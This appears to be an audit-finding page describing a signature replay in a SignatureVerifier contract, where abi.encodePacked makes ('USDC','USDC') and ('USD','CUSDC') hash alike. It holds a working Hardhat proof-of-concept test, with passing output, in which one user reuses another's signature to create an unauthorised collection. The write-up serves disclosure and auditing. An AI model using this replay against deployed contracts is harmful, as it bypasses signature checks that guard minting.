57314 sc medium signature replay and hash collision via abi encodepacked in signatureverifier sol
Previous57716 sc critical erc4626 inflation bug in staking contractNext57712 sc medium receiver deployment dos via salt reuse
Was this helpful?
Was this helpful?
it('PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC)', async () => {
const { factory, alice, bob, signer } = await loadFixture(fixture);
const feeNumerator = 600;
const contractURI = 'contractURI/USDC';
const price = ethers.utils.parseEther('0.01');
// 1) Alice creates (name=USDC, symbol=USDC)
const name1 = 'USDC';
const symbol1 = 'USDC';
const sig1 = EthCrypto.sign(
signer.privateKey,
hashAccessTokenInfo(name1, symbol1, contractURI, feeNumerator, chainId),
);
const info1: AccessTokenInfoStruct = {
metadata: { name: name1, symbol: symbol1 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1,
} as unknown as AccessTokenInfoStruct; // satisfy type
const tx1 = await factory.connect(alice).produce(info1, ethers.constants.HashZero);
await expect(tx1).to.emit(factory, 'AccessTokenCreated');
const infoAlice = await factory.nftInstanceInfo(name1, symbol1);
expect(infoAlice.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoAlice.creator).to.equal(alice.address); // 2) Bob reuses the same signature to create (name=USD, symbol=CUSDC)
const name2 = 'USD';
const symbol2 = 'CUSDC'; // Note: encodePacked collision => 'USD' + 'CUSDC' == 'USDCUSDC'
const info2: AccessTokenInfoStruct = {
metadata: { name: name2, symbol: symbol2 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1, // reuse Alice's signature
} as unknown as AccessTokenInfoStruct;
const tx2 = await factory.connect(bob).produce(info2, ethers.constants.HashZero);
await expect(tx2).to.emit(factory, 'AccessTokenCreated');
const infoBob = await factory.nftInstanceInfo(name2, symbol2);
expect(infoBob.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoBob.creator).to.equal(bob.address);
// Ensure both collections exist and are different
expect(infoBob.nftAddress).to.not.equal(infoAlice.nftAddress);
});✔ PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC) (695ms)
1 passing (697ms)